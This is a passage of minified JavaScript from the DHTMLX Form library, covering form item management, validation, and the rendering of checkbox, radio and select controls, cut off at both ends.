D=A.attributes[J].value;x[F]=D}if(u==\"note\"){x.text=A.firstChild.nodeValue}if(u==\"_userdata\"){x.value=(A.firstChild!=null&&A.firstChild.nodeValue!=null?A.firstChild.nodeValue:\"\")}var v=this._xmlToObject(A,false);for(var H in v){if(H==\"_userdata\"){if(!x.userdata){x.userdata={}}for(var J=0;J<v[H].length;J++){x.userdata[v[H][J].name]=v[H][J].value}}else{x[H]=v[H]}}A=null;if(m){y.push(x)}else{y[u].push(x)}}}}}if(n!=null){y={data:{}};for(var r=0;r<n.childNodes.length;r++){if(typeof(n.childNodes[r].tagName)!=\"undefined\"){var o=n.childNodes[r].tagName;var I=(n.childNodes[r].firstChild!=null?n.childNodes[r].firstChild.nodeValue:\"\");y.data[o]=I}}}return y};this._autoCheck=function(s){if(this._locked===true){s=false}else{if(typeof(s)==\"undefined\"){s=true}}for(var o in this.itemPull){var u=(s&&(this.itemPull[o]._udis!==true));this[u?\"_enableItem\":\"_disableItem\"](this.itemPull[o]._idd);if(this.getForm()._idIndex[this.itemPull[o]._idd]!=null){this.getForm()._idIndex[this.itemPull[o]._idd].enabled=u}var n=(u&&(typeof(this.itemPull[o]._checked)==\"boolean\"?this.itemPull[o]._checked:true));if(this.itemPull[o]._list){for(var y=0;y<this.itemPull[o]._list.length;y++){var x=true;if(this.itemPull[o]._list[y]._subSelect==true){x=false;var r=this.getItemValue(this.itemPull[o]._idd);if(!(typeof(r)==\"object\"&&typeof(r.length)==\"number\")){r=[r]}for(var m=0;m<r.length;m++){x=(r[m]==this.itemPull[o]._list[y]._subSelectId)||x}this.itemPull[o]._listObj[y][x?\"show\":\"hide\"](this.itemPull[o]._listBase[y])}this.itemPull[o]._list[y]._autoCheck(n&&x)}}}};this.doWithItem=function(o,m,x,w,v,u){if(typeof(o)==\"object\"){var A=o[0];var y=o[1];var C=null;var s=null;for(var r in this.itemPull){if((this.itemPull[r]._value==y||y===null)&&this.itemPull[r]._group==A){return this.objPull[r][m](this.itemPull[r],x,w,v,u)}if(this.itemPull[r]._list!=null&&!s){for(var n=0;n<this.itemPull[r]._list.length;n++){s=this.itemPull[r]._list[n].doWithItem(o,m,x,w,v)}}}if(s!=null){return s}else{if(m==\"getType\"){return this.doWithItem(o[0],\"getType\")}}}else{if(!this.itemPull[this.idPrefix+o]){var s=null;for(var r in this.itemPull){if(this.itemPull[r]._list&&!s){for(var n=0;n<this.itemPull[r]._list.length;n++){if(s==null){s=this.itemPull[r]._list[n].doWithItem(o,m,x,w,v,u)}}}}return s}else{return this.objPull[this.idPrefix+o][m](this.itemPull[this.idPrefix+o],x,w,v,u)}}};this._removeItem=function(m,a){if(a!=null){m=this.doWithItem([m,a],\"destruct\")}else{this.doWithItem(m,\"destruct\")}this._clearItemData(m)};this._clearItemData=function(o){if(this.itemPull[this.idPrefix+o]){o=this.idPrefix+o;try{this.objPull[o]=null;this.itemPull[o]=null;delete this.objPull[o];delete this.itemPull[o]}catch(n){}}else{for(var a in this.itemPull){if(this.itemPull[a]._list){for(var m=0;m<this.itemPull[a]._list.length;m++){this.itemPull[a]._list[m]._clearItemData(o)}}}}};this.isItem=function(m,a){if(a!=null){m=[m,a]}return this.doWithItem(m,\"isExist\")};this.getItemType=function(m,a){m=[m,(a||null)];return this.doWithItem(m,\"getType\")};this.forEachItem=function(n){for(var m in this.objPull){if(this.objPull[m].t==\"radio\"){n(this.itemPull[m]._group,this.itemPull[m]._value)}else{n(String(m).replace(this.idPrefix,\"\"))}if(this.itemPull[m]._list){for(var o=0;o<this.itemPull[m]._list.length;o++){this.itemPull[m]._list[o].forEachItem(n)}}}};this.setItemLabel=function(n,a,m){if(m!=null){n=[n,a]}else{m=a}this.doWithItem(n,\"setText\",m)};this.getItemLabel=function(m,a){if(a!=null){m=[m,a]}return this.doWithItem(m,\"getText\")};this._enableItem=function(a){this.doWithItem(a,\"enable\")};this._disableItem=function(a){this.doWithItem(a,\"disable\")};this._isItemEnabled=function(a){return this.doWithItem(a,\"isEnabled\")};this.checkItem=function(m,a){if(a!=null){m=[m,a]}this.doWithItem(m,\"check\");this._autoCheck()};this.uncheckItem=function(m,a){if(a!=null){m=[m,a]}this.doWithItem(m,\"unCheck\");this._autoCheck()};this.isItemChecked=function(m,a){if(a!=null){m=[m,a]}return this.doWithItem(m,\"isChecked\")};this.getCheckedValue=function(a){return this.doWithItem([a,null],\"getChecked\")};this._getRGroup=function(u,s){for(var m in this.itemPull){if(this.itemPull[m]._group==u&&(s==null||this.itemPull[m]._value==s)){return this.itemPull[m]._idd}if(this.itemPull[m]._list!=null){for(var o=0;o<this.itemPull[m]._list.length;o++){var n=this.itemPull[m]._list[o]._getRGroup(u,s);if(n!=null){return n}}}}return null};this.setItemValue=function(m,a){this.resetValidateCss(m,a);if(this.getItemType(m)==\"radio\"){if(this._getRGroup(m,a)!=null){this.checkItem(m,a)}else{this.uncheckItem(m,this.getCheckedValue(m))}return null}return this.doWithItem(m,\"setValue\",a)};this.getItemValue=function(m,a){if(this.getItemType(m)==\"radio\"){return this.getCheckedValue(m)}return this.doWithItem(m,\"getValue\",a)};this.updateValues=function(){this._updateValues()};this.showItem=function(m,a){if(a!=null){m=[m,a]}this.doWithItem(m,\"show\")};this.hideItem=function(m,a){if(a!=null){m=[m,a]}this.doWithItem(m,\"hide\")};this.isItemHidden=function(m,a){if(a!=null){m=[m,a]}return this.doWithItem(m,\"isHidden\")};this.getOptions=function(a){return this.doWithItem(a,\"getOptions\")};this.setItemWidth=function(m,a){this.doWithItem(m,\"setWidth\",a)};this.getItemWidth=function(a){return this.doWithItem(a,\"getWidth\")};this.setItemHeight=function(m,a){this.doWithItem(m,\"setHeight\",a)};this.setItemFocus=function(m,a){if(a!=null){m=[m,a]}this.doWithItem(m,\"setFocus\")};this._updateValues=function(){for(var m in this.itemPull){if(this.objPull[m]&&typeof(this.objPull[m].updateValue)==\"function\"){this.objPull[m].updateValue(this.itemPull[m])}if(this.itemPull[m]._list){for(var n=0;n<this.itemPull[m]._list.length;n++){this.itemPull[m]._list[n]._updateValues()}}}};this._getItemByName=function(s){for(var m in this.itemPull){if(this.itemPull[m]._idd==s){return this.itemPull[m]}if(this.itemPull[m]._list!=null){for(var o=0;o<this.itemPull[m]._list.length;o++){var n=this.itemPull[m]._list[o]._getItemByName(s);if(n!=null){return n}}}}return null};this._resetValidateCss=function(a){a.className=(a.className).replace(a._vcss,\"\");a._vcss=null};this.setValidateCss=function(a,o,n){var m=this[this.getItemType(a)==\"radio\"?\"_getRGroup\":\"_getItemByName\"](a);if(!m){return}if(m._vcss!=null){this._resetValidateCss(m)}m._vcss=(typeof(n)==\"string\"?n:\"validate_\"+(o===true?\"ok\":\"error\"));m.className+=\" \"+m._vcss};this.resetValidateCss=function(n){for(var m in this.itemPull){if(this.itemPull[m]._vcss!=null){this._resetValidateCss(this.itemPull[m])}if(this.itemPull[m]._list!=null){for(var o=0;o<this.itemPull[m]._list.length;o++){this.itemPull[m]._list[o].resetValidateCss()}}}};this.validate=function(m){if(this.callEvent(\"onBeforeValidate\",[])==false){return}var a=true;this.forEachItem(function(o,q){if(typeof(q)!=\"undefined\"){o=[o,q]}var n=e.doWithItem(o,\"_validate\");if(typeof(n)!=\"boolean\"){n=true}a=n&&a});this.callEvent(\"onAfterValidate\",[a]);return a};this.validateItem=function(a,m){if(typeof(m)!=\"undefined\"){a=[a,m]}return this.doWithItem(a,\"_validate\")};this.enableLiveValidation=function(a){this.live_validate=(a==true)};this.setReadonly=function(m,a){this.doWithItem(m,\"setReadonly\",a)};this.isReadonly=function(a){return this.doWithItem(a,\"isReadonly\")};this.getFirstActive=function(m){for(var o=0;o<this._indexId.length;o++){var a=true;if(m==true){var n=this.getItemType(this._indexId[o]);if(!dhtmlXForm.prototype.items[n].setFocus){a=false}}if(a&&this._idIndex[this._indexId[o]].enabled){return this._indexId[o]}}return null};this.setFocusOnFirstActive=function(){var a=this.getFirstActive(true);if(a!=null){this.setItemFocus(a)}};this.enableItem=function(m,a){if(a!=null){m=[m,a]}this.doWithItem(m,\"userEnable\");this._autoCheck()};this.disableItem=function(m,a){if(a!=null){m=[m,a]}this.doWithItem(m,\"userDisable\");this._autoCheck()};this.isItemEnabled=function(m,a){if(a!=null){m=[m,a]}return this.doWithItem(m,\"isUserEnabled\")};this.clear=function(){var m={};this.formId=(new Date()).valueOf();this.resetDataProcessor(\"inserted\");for(var n in this.itemPull){var o=this.itemPull[n]._idd;if(this.itemPull[n]._type==\"ch\"){this.uncheckItem(o)}if(this.itemPull[n]._type in {ta:1,editor:1,calendar:1,pw:1,hd:1}){this.setItemValue(o,\"\")}if(this.itemPull[n]._type==\"combo\"){this.itemPull[n]._apiChange=true;var v=this.getCombo(o);v.selectOption(0);v=null;this.itemPull[n]._apiChange=false}if(this.itemPull[n]._type==\"se\"){var s=this.getOptions(o);if(s.length>0){s[0].selected=true}}if(this.itemPull[n]._type==\"ra\"){var r=this.itemPull[n]._group;if(!m[r]){this.checkItem(r,this.doWithItem(o,\"_getFirstValue\"));m[r]=true}}if(this.itemPull[n]._list){for(var u=0;u<this.itemPull[n]._list.length;u++){this.itemPull[n]._list[u].clear()}}if(this[\"setFormData_\"+this.itemPull[n]._type]){this[\"setFormData_\"+this.itemPull[n]._type](o,\"\")}}m=null;if(this._parentForm){this._autoCheck()}this.resetValidateCss()};this.unload=function(){window.dhx4._enableDataLoading(this,null,null,null,\"clear\");window.dhx4._eventable(this,\"clear\");for(var m in this.objPull){this._removeItem(String(m).replace(this.idPrefix,\"\"))}if(this._ccTm){window.clearTimeout(this._ccTm)}this._formLS=null;for(var n=0;n<this.base.length;n++){while(this.base[n].childNodes.length>0){this.base[n].removeChild(this.base[n].childNodes[0])}if(this.base[n].parentNode){this.base[n].parentNode.removeChild(this.base[n])}this.base[n]=null}this.base=null;this.cont.onkeypress=null;this.cont.className=\"\";this.cont=null;for(var m in this){this[m]=null}e=null};for(var c in this.items){this.items[c].t=c;if(typeof(this.items[c]._index)==\"undefined\"){this.items[c]._index=true}if(!this.items[c].show){this.items[c].show=function(a){a.style.display=\"\";if(a._listObj){for(var m=0;m<a._listObj.length;m++){a._listObj[m].show(a._listBase[m])}}}}if(!this.items[c].hide){this.items[c].hide=function(a){a.style.display=\"none\";if(a._listObj){for(var m=0;m<a._listObj.length;m++){a._listObj[m].hide(a._listBase[m])}}}}if(!this.items[c].isHidden){this.items[c].isHidden=function(a){return(a.style.display==\"none\")}}if(!this.items[c].userEnable){this.items[c].userEnable=function(a){a._udis=false}}if(!this.items[c].userDisable){this.items[c].userDisable=function(a){a._udis=true}}if(!this.items[c].isUserEnabled){this.items[c].isUserEnabled=function(a){return(a._udis!==true)}}if(!this.items[c].getType){this.items[c].getType=function(){return this.t}}if(!this.items[c].isExist){this.items[c].isExist=function(){return true}}if(!this.items[c]._validate){this.items[c]._validate=function(n){if(!n._validate||!n._enabled){return true}if(n._type==\"ch\"){var u=(this.isChecked(n)?this.getValue(n):0)}else{var u=this.getValue(n)}var m=true;for(var s=0;s<n._validate.length;s++){var a=\"is\"+n._validate[s];if((u==null||u.length==0)&&a!=\"isNotEmpty\"&&n._type!=\"container\"){}else{var o=dhtmlxValidation[a];if(n._type==\"container\"&&typeof(o)==\"function\"){o=function(){return true}}if(typeof(o)!=\"function\"&&typeof(n._validate[s])==\"function\"){o=n._validate[s]}if(typeof(o)!=\"function\"&&typeof(window[n._validate[s]])==\"function\"){o=window[n._validate[s]]}m=((typeof(o)==\"function\"?o(u,n._idd):new RegExp(n._validate[s]).test(u))&&m);o=null}}if(!(n.callEvent(\"onValidate\"+(m?\"Success\":\"Error\"),[n._idd,u,m])===false)){n.getForm().setValidateCss(n._idd,m)}return m}}}this._locked=false;this._doLock=function(m){var a=(m===true?true:false);if(this._locked==a){return}else{this._locked=a}this._autoCheck(!this._locked)};this.lock=function(){this._doLock(true)};this.unlock=function(){this._doLock(false)};this.isLocked=function(){return this._locked};this.setNumberFormat=function(o,m,a,n){return this.doWithItem(o,\"setNumberFormat\",m,a,n)};window.dhx4._enableDataLoading(this,\"_initObj\",\"_xmlToObject\",\"items\",{struct:true,data:true});window.dhx4._eventable(this);this.attachEvent(\"_onButtonClick\",function(a,m){this.callEvent(\"onButtonClick\",[a,m])});this._updateBlocks=function(){this.forEachItem(function(a){if(e.getItemType(a)==\"block\"||e.getItemType(a)==\"combo\"){e.doWithItem(a,\"_setCss\",e.skin,e.cont.style.fontSize)}})};this._isObj=function(a){return(a!=null&&typeof(a)==\"object\"&&typeof(a.length)==\"undefined\")};this._copyObj=function(o){if(this._isObj(o)){var n={};for(var m in o){if(typeof(o[m])==\"object\"&&o[m]!=null){n[m]=this._copyObj(o[m])}else{n[m]=o[m]}}}else{var n=[];for(var m=0;m<o.length;m++){if(typeof(o[m])==\"object\"&&o[m]!=null){n[m]=this._copyObj(o[m])}else{n[m]=o[m]}}}return n};if(g!=null&&typeof(g)==\"object\"){this._initObj(this._copyObj(g))}if(this._parentForm){this._updateBlocks()}this._ccActive=false;this._ccTm=null;return this}dhtmlXForm.prototype.getInput=function(a){return this.doWithItem(a,\"getInput\")};dhtmlXForm.prototype.getSelect=function(a){return this.doWithItem(a,\"getSelect\")};dhtmlXForm.prototype.items={};dhtmlXForm.prototype.items.checkbox={render:function(a,c){a._type=\"ch\";a._enabled=true;a._checked=false;a._value=(typeof(c.value)==\"undefined\"?null:String(c.value));a._ro=(c.readonly==true);if(c._autoInputWidth!==false){c.inputWidth=14}this.doAddLabel(a,c);this.doAddInput(a,c,\"INPUT\",\"TEXT\",true,true,\"dhxform_textarea\");a.childNodes[a._ll?1:0].className+=\" dhxform_img_node\";var e=document.createElement(\"DIV\");e.className=\"dhxform_img chbx0\";a.appendChild(e);if(!isNaN(c.inputLeft)){a.childNodes[a._ll?1:0].style.left=parseInt(c.inputLeft)+\"px\"}if(!isNaN(c.inputTop)){a.childNodes[a._ll?1:0].style.top=parseInt(c.inputTop)+\"px\"}a.childNodes[a._ll?1:0].appendChild(e);a.childNodes[a._ll?1:0].firstChild.value=String(c.value);a._updateImgNode=function(h,l){var g=h.childNodes[h._ll?1:0].lastChild;g.className=(l?\"dhxform_actv_c\":\"dhxform_img\")+\" \"+(h._checked?\"chbx1\":\"chbx0\");h=g=null};a._doOnFocus=function(g){g.getForm().callEvent(\"onFocus\",[g._idd])};a._doOnBlur=function(g){g.getForm().callEvent(\"onBlur\",[g._idd])};a._doOnKeyUpDown=function(h,g){this.callEvent(h,[this.childNodes[this._ll?0:1].childNodes[0],g,this._idd])};if(c.checked==true){this.check(a)}if(c.hidden==true){this.hide(a)}if(c.disabled==true){this.userDisable(a)}this.doAttachEvents(a);return this},destruct:function(a){a._doOnFocus=a._doOnBlur=a._updateImgNode=null;this.doUnloadNestedLists(a);this.doDestruct(a)},doAddLabel:function(c,e){var a=document.createElement(\"DIV\");a.className=\"dhxform_label \"+e.labelAlign;if(e.wrap==true){a.style.whiteSpace=\"normal\"}if(c._ll){c.insertBefore(a,c.firstChild)}else{c.appendChild(a)}if(typeof(e.tooltip)!=\"undefined\"){a.title=e.tooltip}a.innerHTML=\"<div class='dhxform_label_nav_link' onfocus='if(this.parentNode.parentNode._updateImgNode)this.parentNode.parentNode._updateImgNode(this.parentNode.parentNode,true);this.parentNode.parentNode._doOnFocus(this.parentNode.parentNode);' onblur='if(this.parentNode.parentNode._updateImgNode)this.parentNode.parentNode._updateImgNode(this.parentNode.parentNode,false);this.parentNode.parentNode._doOnBlur(this.parentNode.parentNode);' onkeypress='var e=event||window.arguments[0];if(e.keyCode==32||e.charCode==32){e.cancelBubble=true;if(e.preventDefault)e.preventDefault();else e.returnValue=false;_dhxForm_doClick(this,\\\"mousedown\\\");return false;}' onkeyup='var e=event||window.arguments[0];this.parentNode.parentNode._doOnKeyUpDown(\\\"onKeyUp\\\",e);' onkeydown='var e=event||window.arguments[0];this.parentNode.parentNode._doOnKeyUpDown(\\\"onKeyDown\\\",e);' \"+(window.dhx4.isIPad?\"ontouchstart='var e=event;e.preventDefault();_dhxForm_doClick(this,\\\"mousedown\\\");' \":\"\")+\"role='link' tabindex='0'>\"+e.label+(e.info?\"<span class='dhxform_info'>[?]</span>\":\"\")+(c._required?\"<span class='dhxform_item_required'>*</span>\":\"\")+\"</div>\";if(!isNaN(e.labelWidth)){a.firstChild.style.width=parseInt(e.labelWidth)+\"px\"}if(!isNaN(e.labelHeight)){a.firstChild.style.height=parseInt(e.labelHeight)+\"px\"}if(!isNaN(e.labelLeft)){a.style.left=parseInt(e.labelLeft)+\"px\"}if(!isNaN(e.labelTop)){a.style.top=parseInt(e.labelTop)+\"px\"}},doAddInput:function(v,g,c,o,q,h,l){var a=document.createElement(\"DIV\");a.className=\"dhxform_control\";if(v._ll){v.appendChild(a)}else{v.insertBefore(a,v.firstChild)}var s=document.createElement(c);s.className=l;s.name=v._idd;s._idd=v._idd;s.id=g.uid;if(typeof(o)==\"string\"){s.type=o}if(c==\"INPUT\"||c==\"TEXTAREA\"){s.onkeyup=function(u){u=u||event;v.callEvent(\"onKeyUp\",[this,u,this._idd])};s.onkeydown=function(u){u=u||event;v.callEvent(\"onKeyDown\",[this,u,this._idd])}}a.appendChild(s);if(g.readonly){this.setReadonly(v,true)}if(g.hidden==true){this.hide(v)}if(g.disabled==true){this.userDisable(v)}if(q){if(!isNaN(g.inputLeft)){a.style.left=parseInt(g.inputLeft)+\"px\"}if(!isNaN(g.inputTop)){a.style.top=parseInt(g.inputTop)+\"px\"}}var r=\"\";var m=false;if(h){if(!isNaN(g.inputWidth)){r+=\"width:\"+parseInt(g.inputWidth)+\"px;\";m=true}if(!isNaN(g.inputHeight)){r+=\"height:\"+parseInt(g.inputHeight)+\"px;\"}}if(typeof(g.style)==\"string\"){r+=g.style}s.style.cssText=r;if(g.maxLength){s.setAttribute(\"maxLength\",g.maxLength)}if(g.connector){s.setAttribute(\"connector\",g.connector)}var e=(dhtmlXForm.prototype.items[this.t]!=null?dhtmlXForm.prototype.items[this.t]._dimFix==true:false);if(m&&({input:1,password:1,select:1,multiselect:1,calendar:1,colorpicker:1}[this.t]==1||e)){if(dhtmlXForm.prototype.items[this.t]._dim==null){dhtmlXForm.prototype.items[this.t]._dim=v.getForm()._checkDim(a,s)}s.style.width=parseInt(s.style.width)-dhtmlXForm.prototype.items[this.t]._dim+\"px\"}if(typeof(g.note)==\"object\"){var n=document.createElement(\"DIV\");n.className=\"dhxform_note\";n.style.width=(isNaN(g.note.width)?s.offsetWidth:parseInt(g.note.width))+\"px\";n._w=g.note.width;n.innerHTML=g.note.text;a.appendChild(n);n=null}},doUnloadNestedLists:function(a){if(!a._list){return}for(var c=0;c<a._list.length;c++){a._list[c].unload();a._list[c]=null;a._listObj[c]=null;a._listBase[c].parentNode.removeChild(a._listBase[c]);a._listBase[c]=null}a._list=null;a._listObj=null;a._listBase=null},doDestruct:function(a){a.callEvent=null;a.checkEvent=null;a.getForm=null;a._autoCheck=null;a._checked=null;a._enabled=null;a._idd=null;a._type=null;a._value=null;a._group=null;a.onselectstart=null;a.childNodes[a._ll?1:0].onmousedown=null;a.childNodes[a._ll?1:0].ontouchstart=null;a.childNodes[a._ll?0:1].onmousedown=null;a.childNodes[a._ll?0:1].ontouchstart=null;a.childNodes[a._ll?0:1].childNodes[0].onfocus=null;a.childNodes[a._ll?0:1].childNodes[0].onblur=null;a.childNodes[a._ll?0:1].childNodes[0].onkeypress=null;a.childNodes[a._ll?0:1].childNodes[0].onkeyup=null;a.childNodes[a._ll?0:1].childNodes[0].onkeydown=null;a.childNodes[a._ll?0:1].childNodes[0].onmousedown=null;a.childNodes[a._ll?0:1].childNodes[0].ontouchstart=null;a.childNodes[a._ll?0:1].removeChild(a.childNodes[a._ll?0:1].childNodes[0]);while(a.childNodes.length>0){a.removeChild(a.childNodes[0])}a.parentNode.removeChild(a);a=null},doAttachEvents:function(c){var a=this;c.childNodes[c._ll?1:0][window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}var g=(h.target||h.srcElement);if(!this.parentNode._enabled||this.parentNode._ro||(typeof(g.className)!=\"undefined\"&&g.className==\"dhxform_note\")){h.cancelBubble=true;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false}a.doClick(this.parentNode)};c.childNodes[c._ll?0:1].childNodes[0][window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}if(!this.parentNode.parentNode._enabled){h.cancelBubble=true;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false}var g=h.target||h.srcElement;if(typeof(g.className)!=\"undefined\"&&g.className==\"dhxform_info\"){this.parentNode.parentNode.callEvent(\"onInfo\",[this.parentNode.parentNode._idd,h]);h.cancelBubble=true;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false}a.doClick(this.parentNode.parentNode)}},doClick:function(a){a.childNodes[a._ll?0:1].childNodes[0].focus();if(!a._enabled||a._ro){return}if(a.checkEvent(\"onBeforeChange\")){if(a.callEvent(\"onBeforeChange\",[a._idd,a._value,a._checked])!==true){return}}this.setChecked(a,!a._checked);a._autoCheck();a.callEvent(\"onChange\",[a._idd,a._value,a._checked])},doCheckValue:function(a){if(a._checked&&a._enabled){a.childNodes[a._ll?1:0].firstChild.name=String(a._idd);a.childNodes[a._ll?1:0].firstChild.value=this.getValue(a)}else{a.childNodes[a._ll?1:0].firstChild.name=\"\";a.childNodes[a._ll?1:0].firstChild.value=\"\"}},setChecked:function(a,c){a._checked=(c===true?true:false);a.childNodes[a._ll?1:0].lastChild.className=a.childNodes[a._ll?1:0].lastChild.className.replace(/chbx[0-1]{1}/gi,\"\")+(a._checked?\" chbx1\":\" chbx0\");this.doCheckValue(a)},check:function(a){this.setChecked(a,true)},unCheck:function(a){this.setChecked(a,false)},isChecked:function(a){return a._checked},enable:function(a){if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a._enabled=true;a.childNodes[a._ll?0:1].childNodes[0].tabIndex=0;a.childNodes[a._ll?0:1].childNodes[0].removeAttribute(\"disabled\");this.doCheckValue(a)},disable:function(a){if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a._enabled=false;if(a._updateImgNode!=null){a._updateImgNode(a,false)}a.childNodes[a._ll?0:1].childNodes[0].tabIndex=-1;a.childNodes[a._ll?0:1].childNodes[0].setAttribute(\"disabled\",\"true\");this.doCheckValue(a)},isEnabled:function(a){return a._enabled},setText:function(a,c){a.childNodes[a._ll?0:1].childNodes[0].innerHTML=c+(a._required?\"<span class='dhxform_item_required'>*</span>\":\"\")},getText:function(a){return a.childNodes[a._ll?0:1].childNodes[0].innerHTML.replace(/<span class=\\\"dhxform_item_required\\\">[^<]*<\\/span>/g,\"\")},setValue:function(a,c){this.setChecked(a,(c===true||parseInt(c)==1||c==\"true\"||a._value===c))},getValue:function(a,c){if(c==\"realvalue\"){return a._value}return((typeof(a._value)==\"undefined\"||a._value==null)?(a._checked?1:0):a._value)},setReadonly:function(a,c){a._ro=(c===true)},isReadonly:function(a){return a._ro},setFocus:function(a){a.childNodes[a._ll?0:1].childNodes[0].focus()}};dhtmlXForm.prototype.items.radio={input:{},r:{},firstValue:{},render:function(e,g,c){e._type=\"ra\";e._enabled=true;e._checked=false;e._group=g.name;e._value=g.value;e._uid=c;e._ro=(g.readonly==true);e._rName=e._rId+e._group;this.r[e._idd]=e;g.inputWidth=14;this.doAddLabel(e,g);this.doAddInput(e,g,\"INPUT\",\"TEXT\",true,true,\"dhxform_textarea\");e.childNodes[e._ll?1:0].className+=\" dhxform_img_node\";var h=document.createElement(\"DIV\");h.className=\"dhxform_img rdbt0\";e.appendChild(h);if(!isNaN(g.inputLeft)){e.childNodes[e._ll?1:0].style.left=parseInt(g.inputLeft)+\"px\"}if(!isNaN(g.inputTop)){e.childNodes[e._ll?1:0].style.top=parseInt(g.inputTop)+\"px\"}e.childNodes[e._ll?1:0].appendChild(h);e.childNodes[e._ll?1:0].firstChild.name=\"\";e.childNodes[e._ll?1:0].firstChild.value=\"\";e._updateImgNode=function(m,n){var l=m.childNodes[m._ll?1:0].lastChild;l.className=(n?\"dhxform_actv_r\":\"dhxform_img\")+\" \"+(m._checked?\"rdbt1\":\"rdbt0\");m=l=null};e._doOnFocus=function(l){l.getForm().callEvent(\"onFocus\",[l._group,l._value])};e._doOnBlur=function(l){l.getForm().callEvent(\"onBlur\",[l._group,l._value])};e._doOnKeyUpDown=function(m,l){this.callEvent(m,[this.childNodes[this._ll?0:1].childNodes[0],l,this._group,this._value])};if(this.input[e._rName]==null){var a=document.createElement(\"INPUT\");a.type=\"HIDDEN\";a.name=g.name;a.firstValue=e._value;e.appendChild(a);this.input[e._rName]=a}if(!this.firstValue[e._rName]){this.firstValue[e._rName]=g.value}if(g.checked==true){this.check(e)}if(g.hidden==true){this.hide(e)}if(g.disabled==true){this.userDisable(e)}this.doAttachEvents(e);return this},destruct:function(g,h){if(g.lastChild==this.input[g._rName]){var e=false;for(var c in this.r){if(!e&&this.r[c]._group==g._group&&this.r[c]._idd!=g._idd){this.r[c].appendChild(this.input[g._rName]);e=true}}if(!e){this.input[g._rName].parentNode.removeChild(this.input[g._rName]);this.input[g._rName]=null;this.firstValue[g._rName]=null}}var l=g._idd;g._doOnFocus=g._doOnBlur=g._updateImgNode=null;this.doUnloadNestedLists(g);this.doDestruct(g);return l},doClick:function(c){c.childNodes[c._ll?0:1].childNodes[0].focus();if(!(c._enabled&&!c._checked)){return}if(c._ro){return}var a=[c._group,c._value,true];if(c.checkEvent(\"onBeforeChange\")){if(c.callEvent(\"onBeforeChange\",a)!==true){return}}this.setChecked(c,true);c.getForm()._autoCheck();c.callEvent(\"onChange\",a)},doCheckValue:function(e){var g=null;for(var c in this.r){if(this.r[c]._checked&&this.r[c]._group==e._group&&this.r[c]._rId==e._rId){g=this.r[c]._value}}if(g!=null&&this.r[c]._enabled){this.input[e._rName].name=String(e._group);this.input[e._rName].value=g}else{this.input[e._rName].name=\"\";this.input[e._rName].value=\"\"}this.input[e._rName]._value=g},setChecked:function(h,l){l=(l===true);for(var c in this.r){if(this.r[c]._group==h._group&&this.r[c]._rId==h._rId){var g=false;if(this.r[c]._idd==h._idd){if(this.r[c]._checked!=l){this.r[c]._checked=l;g=true}}else{if(this.r[c]._checked){this.r[c]._checked=false;g=true}}if(g){var e=this.r[c].childNodes[this.r[c]._ll?1:0].childNodes[1];e.className=e.className.replace(/rdbt[0-1]{1}/gi,\"\")+(this.r[c]._checked?\" rdbt1\":\" rdbt0\");e=null}}}this.doCheckValue(h)},getChecked:function(a){return this.input[a._rName]._value},_getFirstValue:function(a){return this.firstValue[a._rName]},_getId:function(a){return a._idd},setValue:function(a,c){}};(function(){for(var c in {doAddLabel:1,doAddInput:1,doDestruct:1,doUnloadNestedLists:1,doAttachEvents:1,check:1,unCheck:1,isChecked:1,enable:1,disable:1,isEnabled:1,setText:1,getText:1,getValue:1,setReadonly:1,isReadonly:1,setFocus:1}){dhtmlXForm.prototype.items.radio[c]=dhtmlXForm.prototype.items.checkbox[c]}})();dhtmlXForm.prototype.items.select={render:function(a,c){a._type=\"se\";a._enabled=true;a._value=null;a._newValue=null;this.doAddLabel(a,c);this.doAddInput(a,c,\"SELECT\",null,true,true,\"dhxform_select\");this.doAttachEvents(a);this.doLoadOpts(a,c);if(c.connector!=null){this.doLoadOptsConnector(a,c.connector)}if(typeof(c.value)!=\"undefined\"&&c.value!=null){this.setValue(a,c.value)}return this},destruct:function(a){this.doUnloadNestedLists(a);a.callEvent=null;a.checkEvent=null;a.getForm=null;a._autoCheck=null;a._enabled=null;a._idd=null;a._type=null;a._value=null;a._newValue=null;a.onselectstart=null;a.childNodes[a._ll?1:0].childNodes[0].onclick=null;a.childNodes[a._ll?1:0].childNodes[0].onkeydown=null;a.childNodes[a._ll?1:0].childNodes[0].onchange=null;a.childNodes[a._ll?1:0].childNodes[0].onfocus=null;a.childNodes[a._ll?1:0].childNodes[0].onblur=null;a.childNodes[a._ll?1:0].childNodes[0].onkeyup=null;a.childNodes[a._ll?1:0].removeChild(a.childNodes[a._ll?1:0].childNodes[0]);while(a.childNodes.length>0){a.removeChild(a.childNodes[0])}a.parentNode.removeChild(a);a=null},doAddLabel:function(c,e){var a=document.createElement(\"DIV\");a.className=\"dhxform_label \"+e.labelAlign;a.innerHTML=\"<label for='\"+e.uid+\"'>\"+e.label+(e.info?\"<span class='dhxform_info'>[?]</span>\":\"\")+(c._required?\"<span class='dhxform_item_required'>*</span>\":\"\")+\"</label>\";if(e.wrap==true){a.style.whiteSpace=\"normal\"}if(typeof(e.tooltip)!=\"undefined\"){a.title=e.tooltip}c.appendChild(a);if(typeof(e.label)==\"undefined\"||e.label==null||e.label.length==0){a.style.display=\"none\"}if(!isNaN(e.labelWidth)){a.style.width=parseInt(e.labelWidth)+\"px\"}if(!isNaN(e.labelHeight)){a.style.height=parseInt(e.labelHeight)+\"px\"}if(!isNaN(e.labelLeft)){a.style.left=parseInt(e.labelLeft)+\"px\"}if(!isNaN(e.labelTop)){a.style.top=parseInt(e.labelTop)+\"px\"}if(e.info){a.onclick=function(h){h=h||event;var g=h.target||h.srcElement;if(typeof(g.className)!=\"undefined\"&&g.className==\"dhxform_info\"){this.parentNode.callEvent(\"onInfo\",[this.parentNode._idd,h]);h.cancelBubble=true;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false}}}},doAttachEvents:function(e){var a=e.childNodes[e._ll?1:0].childNodes[0];var 